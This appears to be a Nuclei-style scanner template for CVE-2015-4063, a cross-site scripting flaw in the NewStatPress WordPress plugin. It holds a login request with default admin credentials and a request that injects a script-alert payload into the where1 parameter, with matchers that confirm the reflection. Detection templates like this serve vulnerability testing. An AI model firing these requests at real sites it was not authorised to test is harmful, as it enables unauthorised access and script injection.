38 lines
1.3 KiB
YAML
38 lines
1.3 KiB
YAML
|
id: CVE-2015-4063
|
||
|
|
||
|
info:
|
||
|
name: NewStatPress 0.9.8 - Cross Site Scripting
|
||
|
author: r3Y3r53
|
||
|
severity: medium
|
||
|
description: |
|
||
|
Cross-site scripting (XSS) vulnerability in includes/nsp_search.php in the NewStatPress plugin before 0.9.9 for WordPress allows remote authenticated users to inject arbitrary web script or HTML via the where1 parameter in the nsp_search page to wp-admin/admin.php.
|
||
|
remediation: Update to plugin version 0.9.9 or latest.
|
||
|
reference:
|
||
|
- https://packetstormsecurity.com/files/132038/
|
||
|
- https://nvd.nist.gov/vuln/detail/CVE-2015-4063
|
||
|
- https://wordpress.org/plugins/newstatpress/
|
||
|
metadata:
|
||
|
verified: "true"
|
||
|
tags: cve,cve2015,xss,wordpress,wp-plugin,wp,newstatpress
|
||
|
|
||
|
requests:
|
||
|
- raw:
|
||
|
- |
|
||
|
POST /wp-login.php HTTP/1.1
|
||
|
Host: {{Hostname}}
|
||
|
Content-Type: application/x-www-form-urlencoded
|
||
|
|
||
|
log=admin&pwd=admin123&wp-submit=Log+In
|
||
|
|
||
|
- |
|
||
|
GET /wp-admin/admin.php?where1=<script>alert(document.domain)</script>&searchsubmit=Buscar&page=nsp_search HTTP/1.1
|
||
|
Host: {{Hostname}}
|
||
|
|
||
|
cookie-reuse: true
|
||
|
matchers:
|
||
|
- type: dsl
|
||
|
dsl:
|
||
|
- 'status_code_2 == 200'
|
||
|
- "contains(body_2, '<script>alert(document.domain)</script>') && contains(body_2, 'newstatpress')"
|
||
|
condition: and
|